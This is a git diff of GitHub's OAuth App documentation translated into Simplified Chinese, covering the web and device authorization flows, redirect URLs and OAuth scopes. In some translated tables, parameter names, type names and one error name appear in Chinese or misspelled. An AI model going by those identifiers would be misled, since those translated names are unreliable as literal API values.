 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer
@@ -102,14 +103,14 @@ Accept: application/xml
 </OAuth>
 ```
 
-### 3. Use the access token to access the API
+### 3. 使用访问令牌访问 API
 
-The access token allows you to make requests to the API on a behalf of a user.
+访问令牌可用于代表用户向 API 提出请求。
 
     Authorization: token OAUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+例如，您可以像以下这样在 curl 中设置“授权”标头：
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -117,38 +118,38 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## 设备流程
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**注：**设备流程处于公开测试阶段，可能会有变化。
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+设备流程允许您授权用户使用无头应用程序，例如 CLI 工具或 Git 凭据管理器。
 
-### Overview of the device flow
+### 设备流程概述
 
-1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code.
-2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}.
-3.  The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token.
+1. 您的应用程序会请求设备和用户验证码，并获取用户将在其中输入用户验证码的授权 URL。
+2. 应用程序提示用户在 {% data variables.product.device_authorization_url %} 中输入用户验证码。
+3.  应用程序轮询用户身份验证状态。 用户授权设备后，应用程序将能够使用新的访问令牌进行 API 调用。
 
-### Step 1: App requests the device and user verification codes from GitHub
+### 第 1 步：应用程序从 GitHub 请求设备和用户验证码
 
     POST {% data variables.product.oauth_host_code %}/login/device/code
 
-Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication.
+您的应用程序必须请求用户验证码和验证 URL，因为应用程序在下一步中提示用户进行身份验证时将使用它们。 此请求还返回设备验证代码，应用程序必须使用它们来接收访问令牌和检查用户身份验证的状态。
 
-#### Input Parameters
+#### 输入参数
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app.
-`scope` | `string` | The scope that your app is requesting access to.
+| 名称          | 类型    | 描述                                                                 |
+| ----------- | ----- | ------------------------------------------------------------------ |
+| `client_id` | `字符串` | **必填。**您从 {% data variables.product.product_name %} 收到的应用程序客户端 ID。 |
+| `作用域`       | `字符串` | 应用程序请求访问的范围。                                                       |
 
-#### Response
+#### 响应
 
-By default, the response takes the following form:
+默认情况下，响应采用以下形式：
 
 ```
 device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice
@@ -178,43 +179,43 @@ Accept: application/xml
 </OAuth>
 ```
 
-#### Response parameters
+#### 响应参数
 
-Name | Type | Description
------|------|--------------
-`device_code` | `string` | The device verification code is 40 characters and used to verify the device.
-`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle.
-`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}.
-`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes.
-`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error.
+| 名称                 | 类型    | 描述                                                                                                                                                                                      |
+| ------------------ | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `device_code`      | `字符串` | 设备验证码为 40 个字符，用于验证设备。                                                                                                                                                                   |
+| `user_code`        | `字符串` | 用户验证码显示在设备上，以便用户可以在浏览器中输入该代码。 此代码为 8 个字符，中间有连字符。                                                                                                                                        |
+| `verification_uri` | `字符串` | 用户需要在其中输入 `user_code` 的验证 URL：{% data variables.product.device_authorization_url %}。                                                                                                  |
+| `expires_in`       | `整数`  | `device_code` 和 `user_code` 到期前的秒数。 默认值为 900 秒或 15 分钟。                                                                                                                                  |
+| `间隔`               | `整数`  | 发出新的访问令牌请求 (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) 以完成设备授权之前必须经过的最小秒数。 例如，如果间隔为 5，则只有经过 5 秒后才能发出新请求。 如果您在 5 秒内发出多个请求，则将达到速率限制并收到 `slow_down` 错误。 |
 
-### Step 2: Prompt the user to enter the user code in a browser
+### 第 2 步：提示用户在浏览器中输入用户代码
 
-Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}.
+您的设备将显示用户验证码并提示用户在 {% data variables.product.device_authorization_url %} 中输入该代码。
 
-  ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png)
+  ![用于输入设备上显示的用户验证码的字段](/assets/images/github-apps/device_authorization_page_for_user_code.png)
 
-### Step 3: App polls GitHub to check if the user authorized the device
+### 第 3 步：应用程序轮询 GitHub 以检查用户是否授权设备
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)."
+应用程序将发出设备授权请求以轮询 `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`，直到设备和用户代码到期或者用户已使用有效的用户代码成功授权该应用程序。 应用程序必须使用在第 1 步中检索到的最小轮询 `interval`，以避免速率限制错误。 更多信息请参阅“[设备流程的速率限制](#rate-limits-for-the-device-flow)”。
 
-The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`.
+用户必须在 15 分钟（或 900 秒内）内输入有效代码。 15 分钟后，您需要使用 `POST {% data variables.product.oauth_host_code %}/login/device/code` 请求新的设备授权代码。
 
-Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user.
+一旦用户授权， 应用程序将收到一个访问令牌，该令牌可用于代表用户向 API 发出请求。
 
-#### Input parameters
+#### 输入参数
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request.
-`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`.
+| 名称            | 类型    | 描述                                                                                                                 |
+| ------------- | ----- | ------------------------------------------------------------------------------------------------------------------ |
+| `client_id`   | `字符串` | **必填。**您从 {% data variables.product.product_name %} 收到的 {% data variables.product.prodname_oauth_app %} 的客户端 ID。 |
+| `device_code` | `字符串` | **必填。**您从 `POST {% data variables.product.oauth_host_code %}/login/device/code` 请求收到的设备验证码。                        |
+| `grant_type`  | `字符串` | **必填。**授予类型必须是 `urn:ietf:params:oauth:grant-type:device_code`。                                                     |
 
-#### Response
+#### 响应
 
-By default, the response takes the following form:
+默认情况下，响应采用以下形式：
 
 ```
 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist
@@ -240,52 +241,46 @@ Accept: application/xml
 </OAuth>
 ```
 
-### Rate limits for the device flow
+### 设备流程的速率限制
 
-When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application.
+当用户在浏览器上提交验证码时，每个应用程序在一个小时内的提交速率限制为 50 个。
 
-If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow).
+如果您在请求之间所需的最短时间段（或 `interval`）内发出多个访问令牌请求 (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`)，您将达到速率限制并收到 `slow_down` 错误响应。 `slow_down` 错误响应将给最近的`间隔`增加 5 秒。 更多信息请参阅“[设备流程的错误](#errors-for-the-device-flow)”。
 
-### Error codes for the device flow
+### 设备流程的错误代码
 
-| Error code | Description |
-|----|----|
-| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. |
-| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use.
-| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code.
-| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`.
-| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow.
-| `incorrect_device_code` | The device_code provided is not valid.
-| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again.
+| 错误代码                           | 描述                                                                                                                                                                                                                                                     |
+| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `authorization_pending`        | 授权请求待处理并且用户尚未输入用户代码时，将发生此错误。 应用程序应该继续轮询 `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`，但不会超过 [`interval`](#response-parameters)，它规定了每个请求之间的最小秒数。                                                                         |
+| `slow_down`                    | 当您收到 `slow_down` 错误时，使用 `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` 请求之间的所需最小 `interval` 或时间段将额外增加 5 秒。 例如，如果两次请求之间的开始间隔至少需要 5 秒，并且您收到了 `slow_down` 错误响应，则现在必须等待至少 10 秒才能发出新的 OAuth 访问令牌请求。 错误响应包括您必须使用的新 `interval`。 |
+| `expired_token`                | 如果设备代码已过期，您将会看到 `token_expendent` 错误。 您必须发出新的设备代码请求。                                                                                                                                                                                                   |
+| `unsupported_grant_type`       | 授予类型必须为 `urn:ietf:params:oauth:grant-type:device_code`，并在您轮询 OAuth 令牌请求 `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` 时作为输入参数包括在内。                                                                                      |
+| `incorrect_client_credentials` | 对于设备流程，您必须传递应用程序的客户端 ID，您可以在应用程序设置页面上找到该 ID。 设备流程不需要 `client_secret`。                                                                                                                                                                                  |
+| `incorrect_device_code`        | 提供的 device_code 无效。                                                                                                                                                                                                                                    |
+| `access_denied`                | 当用户在授权过程中单击取消时，您将收到 `access_denied` 错误，用户将无法再次使用验证码。                                                                                                                                                                                                   |
 
-For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)."
+更多信息请参阅“[OAuth 2.0 设备授权授予](https://tools.ietf.org/html/rfc8628#section-3.5)”。
 
 {% endif %}
 
-## Non-Web application flow
+## 非 Web 应用程序流程
 
-Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a personal access token using your [Personal access tokens settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time.
+非 web 身份验证适用于测试等有限的情况。 如果您需要，可以使用[基本验证](/rest/overview/other-authentication-methods#basic-authentication)，通过[个人访问令牌设置页面](/articles/creating-an-access-token-for-command-line-use)创建个人访问令牌。 此方法支持用户随时撤销访问权限。
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with
-two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if
-you or your users have two-factor authentication enabled.
+**注：**使用非 web 应用流程创建 OAuth2 令牌时，如果您或您的用户已启用双重身份验证，请确保明白如何[使用双重身份验证](/rest/overview/other-authentication-methods#working-with-two-factor-authentication)。
 
 {% endnote %}
 {% endif %}
 
-## Redirect URLs
+## 重定向 URL
 
-The `redirect_uri` parameter is optional. If left out, GitHub will
-redirect users to the callback URL configured in the OAuth Application
-settings. If provided, the redirect URL's host and port must exactly
-match the callback URL. The redirect URL's path must reference a
-subdirectory of the callback URL.
+`redirect_uri` 参数是可选参数。 如果遗漏，GitHub 则将用户重定向到 OAuth 应用程序设置中配置的回调 URL。 如果提供，重定向 URL 的主机和端口必须完全匹配回调 URL。 重定向 URL 的路径必须引用回调 URL 的子目录。
 
     CALLBACK: http://example.com/path
-
+    
     GOOD: http://example.com/path
     GOOD: http://example.com/path/subdir/other
     BAD:  http://example.com/bar
@@ -294,31 +289,31 @@ subdirectory of the callback URL.
     BAD:  http://oauth.example.com:8080/path
     BAD:  http://example.org
 
-### Localhost redirect urls
+### 本地主机重定向 URL
 
-The optional `redirect_uri` parameter can also be used for localhost URLs. If the application specifies a localhost URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback url for the app.
+可选的 `redirect_uri` 参数也可用于本地主机 URL。 如果应用程序指定 URL 和端口，授权后，应用程序用户将被重定向到提供的 URL 和端口。 `redirect_uri` 不需要匹配应用程序回调 url 中指定的端口。
 
-For the `http://localhost/path` callback URL, you can use this `redirect_uri`:
+对于 `http://localhost/path` 回调 URL，您可以使用此 `redirect_uri`：
 
 ```
 http://localhost:1234/path
 ```
 
-## Creating multiple tokens for OAuth Apps
+## 为 OAuth 应用程序创建多个令牌
 
-You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases.
+您可以为用户/应用程序/作用域组合创建多个令牌，以便为特定用例创建令牌。
 
-This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories.
+如果您的 OAuth 应用程序支持一个使用 GitHub 登录且只需基本用户信息的工作流程，此方法将非常有用。 另一个工作流程可能需要访问用户的私有仓库。 您的 OAuth 应用程序可以使用多个令牌为每个用例执行 web 流程，只需要所需的作用域。 如果用户仅使用您的应用程序登录，则无需向他们的私有仓库授予您的 OAuth 应用程序访问权限。
 
 {% data reusables.apps.oauth-token-limit %}
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-## Directing users to review their access
+## 指示用户审查其访问权限
 
-You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations.
+您可以链接至 OAuth 应用程序的授权信息，以便用户审查和撤销其应用程序授权。
 
-To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application.
+要构建此链接，需要使用注册应用程序时从 GitHub 收到的 OAuth 应用程序 `client_id`。
 
 ```
 {% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id
@@ -326,17 +321,17 @@ To build this link, you'll need your OAuth Apps `client_id` that you received fr
 
 {% tip %}
 
-**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)."
+**提示：**要详细了解您的 OAuth 应用程序可以为用户访问的资源，请参阅“[为用户发现资源](/rest/guides/discovering-resources-for-a-user)。”
 
 {% endtip %}
 
-## Troubleshooting
+## 疑难解答
 
-* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
-* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
+* "[对授权请求错误进行故障排除](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
+* "[对 OAuth 应用程序访问令牌请求错误进行故障排除](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Device flow errors](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-* "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+* "[令牌到期和撤销](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
+- “[关于 {% data variables.product.prodname_dotcom %} 向验证身份](/github/authenticating-to-github/about-authentication-to-github)”
diff --git a/translations/zh-CN/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/zh-CN/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
index a080cbc4da..da246053e7 100644
--- a/translations/zh-CN/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
+++ b/translations/zh-CN/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating an OAuth App
+title: 创建 OAuth 应用程序
 intro: '{% data reusables.shortdesc.creating_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps
@@ -13,10 +13,11 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-oauth-apps-allowed %}
+  **注意：** {% data reusables.apps.maximum-oauth-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -24,35 +25,29 @@ topics:
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Click **New OAuth App**.
-![Button to create a new OAuth app](/assets/images/oauth-apps/oauth_apps_new_app.png)
+4. 单击 **New OAuth App（新建 OAuth 应用程序）**。 ![创建新 OAuth 应用程序的按钮](/assets/images/oauth-apps/oauth_apps_new_app.png)
 
   {% note %}
 
-  **Note:** If you haven't created an app before, this button will say, **Register a new application**.
+  **注：**如果您以前没有创建过应用程序，该按钮将显示 **Register a new application（注册新应用程序）**。
 
   {% endnote %}
-6. In "Application name", type the name of your app.
-![Field for the name of your app](/assets/images/oauth-apps/oauth_apps_application_name.png)
+6. 在“Application name（应用程序名称）”中，输入应用程序的名称。 ![应用程序名称字段](/assets/images/oauth-apps/oauth_apps_application_name.png)
 
   {% warning %}
 
-  **Warning:**  Only use information in your OAuth app that you consider public. Avoid using sensitive data, such as internal URLs, when creating an OAuth App.
+  **警告：**仅在 OAuth 应用程序中使用您认为公开的信息。 创建 OAuth 应用程序时，应避免使用敏感数据（如内部 URL）。
 
   {% endwarning %}
 
-7. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your app](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
-8. Optionally, in "Application description", type a description of your app that users will see.
-![Field for a description of your app](/assets/images/oauth-apps/oauth_apps_application_description.png)
-9. In "Authorization callback URL", type the callback URL of your app.
-![Field for the authorization callback URL of your app](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
+7. 在“Homepage URL（主页 URL）”中，输入应用程序网站的完整 URL。 ![应用程序主页 URL 字段](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
+8. （可选）在“Application description（应用程序说明）”中，输入用户将看到的应用程序说明。 ![应用程序说明字段](/assets/images/oauth-apps/oauth_apps_application_description.png)
+9. 在“Authorization callback URL（授权回调 URL）”中，输入应用程序的回调 URL。 ![应用程序的授权回调 URL 字段](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
    {% note %}
 
-   **Note:** OAuth Apps cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}.
+   **注：**与 {% data variables.product.prodname_github_apps %} 不同，OAuth 应用程序不能有多个回调 URL。
 
    {% endnote %}
 {% endif %}
-10. Click **Register application**.
-![Button to register an application](/assets/images/oauth-apps/oauth_apps_register_application.png)
+10. 单击 **Register application（注册应用程序）**。 ![注册应用程序的按钮](/assets/images/oauth-apps/oauth_apps_register_application.png)
diff --git a/translations/zh-CN/content/developers/apps/building-oauth-apps/index.md b/translations/zh-CN/content/developers/apps/building-oauth-apps/index.md
index 69a5c827a2..b37bbf2d86 100644
--- a/translations/zh-CN/content/developers/apps/building-oauth-apps/index.md
+++ b/translations/zh-CN/content/developers/apps/building-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building OAuth Apps
-intro: You can build OAuth Apps for yourself or others to use. Learn how to register and set up permissions and authorization options for OAuth Apps.
+title: 构建 OAuth 应用程序
+intro: 您可以构建您自己或其他人使用的 OAuth 应用程序。 了解如何注册和设置 OAuth 应用程序的权限及身份验证选项。
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps
   - /apps/building-oauth-apps
diff --git a/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
index bdf4b1997d..d0ffb3d0b5 100644
--- a/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Scopes for OAuth Apps
+title: OAuth 应用程序的作用域
 intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps
@@ -14,17 +14,18 @@ versions:
 topics:
   - OAuth Apps
 ---
-When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form.
+
+在 GitHub 上设置 OAuth 应用程序时，请求的作用域会在授权表单上显示给用户。
 
 {% note %}
 
-**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**注** ：如果您在构建 GitHub 应用程序，则不需要在授权请求中提供作用域。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
 {% endnote %}
 
-If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)."
+如果 {% data variables.product.prodname_oauth_app %} 无法访问浏览器（如 CLI 工具），则无需为用户指定向应用程序验证的作用域。 更多信息请参阅“[授权 OAuth 应用程序](/developers/apps/authorizing-oauth-apps#device-flow)”。
 
-Check headers to see what OAuth scopes you have, and what the API action accepts:
+检查标头以查看您拥有哪些 OAuth 作用域，以及 API 操作接受什么：
 
 ```shell
 $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I
@@ -33,54 +34,53 @@ X-OAuth-Scopes: repo, user
 X-Accepted-OAuth-Scopes: user
 ```
 
-* `X-OAuth-Scopes` lists the scopes your token has authorized.
-* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for.
+* `X-OAuth-Scopes` 列出令牌已授权的作用域。
+* `X-Accepted-OAuth-Scopes` 列出操作检查的作用域。
 
-## Available scopes
+## 可用作用域
 
-Name | Description
------|-----------|{% ifversion not ghae %}
-**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %}
-**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %}
-**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects.
-&emsp;`repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.
-&emsp;`repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}
-&emsp;`public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}
-&emsp;`repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}
-&emsp;`security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) <br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}
-&emsp;`security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}
-**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks.
-&emsp;`write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-&emsp;`read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-**`admin:org`** | Fully manage the organization and its teams, projects, and memberships.
-&emsp;`write:org`| Read and write access to organization membership, organization projects, and team membership.
-&emsp;`read:org`| Read-only access to organization membership, organization projects, and team membership.
-**`admin:public_key`** | Fully manage public keys.
-&emsp;`write:public_key`| Create, list, and view details for public keys.
-&emsp;`read:public_key`| List and view details for public keys.
-**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user.
-**`gist`** | Grants write access to gists.
-**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions.
-**`user`** | Grants read/write access to profile info only.  Note that this scope includes `user:email` and `user:follow`.
-&emsp;`read:user`| Grants access to read a user's profile data.
-&emsp;`user:email`| Grants read access to a user's email addresses.
-&emsp;`user:follow`| Grants access to follow or unfollow other users.
-**`delete_repo`** | Grants access to delete adminable repositories.
-**`write:discussion`** | Allows read and write access for team discussions.
-&emsp;`read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %}
-**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)".
-**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)".
-**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
-**`admin:gpg_key`** | Fully manage GPG keys.
-&emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
-&emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
-**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."
-**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %}
+| 名称                       | 描述                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %}
+| **`（无作用域）`**             | 授予对公共信息的只读访问权限（包括用户个人资料信息、公共仓库信息和 gist）{% endif %}{% ifversion ghes or ghae %}
+| **`site_admin`**         | 授予站点管理员对 [{% data variables.product.prodname_ghe_server %} 管理 API 端点](/rest/reference/enterprise-admin)的访问权限。{% endif %}
